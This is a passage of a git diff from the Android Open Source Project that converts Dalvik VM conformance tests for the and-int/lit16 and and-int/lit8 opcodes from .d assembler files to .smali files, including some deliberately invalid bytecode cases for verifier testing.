-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2.smali
new file mode 100644
index 0000000..2495e43
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, -7
+       and-int/lit16 v0, v0, -8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3.d
deleted file mode 100644
index c5f54e3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_3.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, 0xcafe
-       and-int/lit16 v0, v0, -1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3.smali
new file mode 100644
index 0000000..c5fbba3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 0xcafe
+       and-int/lit16 v0, v0, -1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4.d
deleted file mode 100644
index 7f31097..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_4.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, 0
-       and-int/lit16 v0, v0, -1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4.smali
new file mode 100644
index 0000000..aeaca9f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 0
+       and-int/lit16 v0, v0, -1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5.d
deleted file mode 100644
index d7c68f3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_5.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, 32767
-       and-int/lit16 v0, v0, -32768
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5.smali
new file mode 100644
index 0000000..e66fa46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 32767
+       and-int/lit16 v0, v0, -32768
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6.d
deleted file mode 100644
index 9c94b7e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_6.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       const-wide v0, 1.0
-       and-int/lit16 v0, v0, 1
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6.smali
new file mode 100644
index 0000000..f9a896b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       const-wide v0, 1.0
+       and-int/lit16 v0, v0, 1
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7.d
deleted file mode 100644
index a272dfa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_7.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       const-wide v0, 1
-       and-int/lit16 v0, v0, 1
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7.smali
new file mode 100644
index 0000000..18d86c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       const-wide v0, 1
+       and-int/lit16 v0, v0, 1
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8.d
deleted file mode 100644
index 614d2b1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_8.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       and-int/lit16 v2, v3, 1
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8.smali
new file mode 100644
index 0000000..cc5a564
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       and-int/lit16 v2, v3, 1
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9.d
deleted file mode 100644
index 23b9e82..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_9.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 4
-       and-int/lit16 v0, v3, 123
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9.smali
new file mode 100644
index 0000000..8a76f3a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+       and-int/lit16 v0, v3, 123
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1.d
deleted file mode 100644
index c357564..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_1.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, 15
-       and-int/lit8 v0, v0, 8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1.smali
new file mode 100644
index 0000000..eceddb2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 15
+       and-int/lit8 v0, v0, 8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10.d
deleted file mode 100644
index d9a6181..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_10.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       and-int/lit8 v0, v4, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10.smali
new file mode 100644
index 0000000..31eab62
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int/lit8 v0, v4, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2.d
deleted file mode 100644
index 4161d0e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_2.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, -7
-       and-int/lit8 v0, v0, -8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2.smali
new file mode 100644
index 0000000..d3b56db
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, -7
+       and-int/lit8 v0, v0, -8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3.d
deleted file mode 100644
index 7b5fd5d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_3.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, 0xcafe
-       and-int/lit8 v0, v0, -1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3.smali
new file mode 100644
index 0000000..4aa33ee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 0xcafe
+       and-int/lit8 v0, v0, -1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4.d
deleted file mode 100644
index 5b2fd88..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
